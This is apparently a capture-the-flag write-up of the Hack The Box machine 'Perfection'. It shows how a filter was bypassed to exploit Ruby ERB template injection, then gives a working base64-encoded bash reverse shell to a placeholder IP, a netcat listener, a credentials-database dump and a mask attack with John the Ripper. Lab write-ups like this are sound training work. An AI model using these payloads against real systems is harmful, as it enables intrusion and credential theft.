Perfection

Platform: Hack The Box

Category/Tags: Linux, SSTI, Password Mask, Misconfiguration

Difficulty: Easy

Recon

To start the lab, just connect to the VPN provided by HTB. It is just a plain IP address. I just wondered why the IP address does not resolve to the host URL. I just got used to it. 🤣

As usual, I do an nmap scan. I scan all ports to reveal some open ports other than port 80.

nmap -sC -sV -oN results.nmap <MACHINE_IP>
nmap results
  • Open ports

    • Port 22 - ssh

    • Port 80 - http

This is the landing page, It looks like a simple web application calculator.

landing page

I did some web directory fuzzing for hidden directoriesand looked for vulnerabilities and exploits because it was using WEBrick 1.7.0 , but no luck.

According to Wappalyzer, it is using Ruby. So, it might be using the common combination of Ruby on Rails and ERB templating.

wappalyzer

Foothold

This is the calculator functionality wherein the user can compute their grades according to the weight (percentage). Also, there is an input text box that might be vulnerable to injection.

calculator

(on the left photo) I tried to enter some values to view how it behaves. It is also returning an error when the weight of all 5 categories is not equal to 100. And (on the right photo), when I tried to feed a simple ERB template injection payload {{7*7}}, it returns malicious input blocked, so I concluded that using standard symbol characters is blocked.

weight
calculator

I modified the request using BurpSuite. Also, I tried some payloads to launch RCE, but we need to encode the payload in URL-encoded format using CyberChef. Even if I encode the payload, it will respond with an error Malicious input blocked.

burpsuite

Now, I have a wild guess that this is vulnerable to a Server-Side Template Injection.

Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side. Template engines are designed to generate web pages by combining fixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data. From PortSwigger.

After doing a lot of research, I try to bypass the input checker by adding a newline to the payload because, sometimes, when parsing the input in ERB, newlines are considered as whitespaces. So, it can be ignored. The string 100 in the preceding part is the value for the category1 parameter, to prevent errors. And then, supply the URL-encoded payload to the category1 parameter.

#raw payload
100
<%= system("whoami") %>

The value could appear in the category as true; it means that the payload is working now and the input checker was bypassed.

proof of bypass

Now, we need to craft a reverse shell command. First, set up a netcat listener,

nc -lnvp 1234

Encode the payload to base64 for it to run on the machine after decoding from base64. Again, encode the whole raw payload into URL-encoded format and feed it in the category1 parameter.

#convert to base64
echo 'bash -i >& /dev/tcp/<YOUR_IP>/1234 0>&1' | base64

#raw payload
100
<%= system("echo <BASE64_VALUE> | base64 -d | bash") %>

Here it is, the user shell.

user shell

Privilege Escalation

Before we proceed, let us upgrade our shell for interactivity,

python3 -c 'import pty; pty.spawn("/bin/bash")'

export TERM=xterm256

Now, go to the directory of Susan, and under the Migration directory, there is the SQLite database file.

file information

to dump the database file,

#open the database file
sqlite3 pupilpath_credentials.db

#dumping
.dump

You will see a bunch of user and their encoded passwords.

pupilpath_credentials.db

I use the hash-identifier tool to determine the format of each of the passwords in here. All of the passwords are in SHA-256 format. I tried to crack all of them, but nothing showed the real string of the password. I think I am not doing the right thing.

So, I run the LinPEAS to discover misconfigurations in this low-privileged user. I saw that this user is capable of running the sudo command.

LinPEAS

But if I use the sudo command, the machine keeps asking me for a password. So, I guess that Susan’s password on the database file is needed to be unhash for elevating privileges. After some time of exploration, I found a file under /var/spool/mail, hinting that the password has a new format.

/var/spool/mail

I have literally no knowledge about cracking a password with a mask. I stumbled upon this article while researching What are password mask attacks? .

To reveal the password, I use John. The format of the password is SHA-256, based on what we identified earlier. We follow the format {firstname}{firstname backwards}{random integer between 1 and 1,000,000,000}. We need to supply the ?d placeholder for integer 9x because 1≤n<1,000,000,000 and a hash file containing the hashed strings we recovered from the database file.

john --format=raw-sha256 --mask=susan_nasus_?d?d?d?d?d?d?d?d?d <HASH_FILE>

We have the password!

john the ripper

To list the commands that a low-privileged user can run with elevated privileges,

sudo -S -l

Perfect! This user can run all commands with sudo.

sudo -S -l

Go to the root directory and view the root flag.

root shell

Mitigation

  • Sanitize and validate the user input

  • Do not authorize a low-privileged user to access administrator rights

Last updated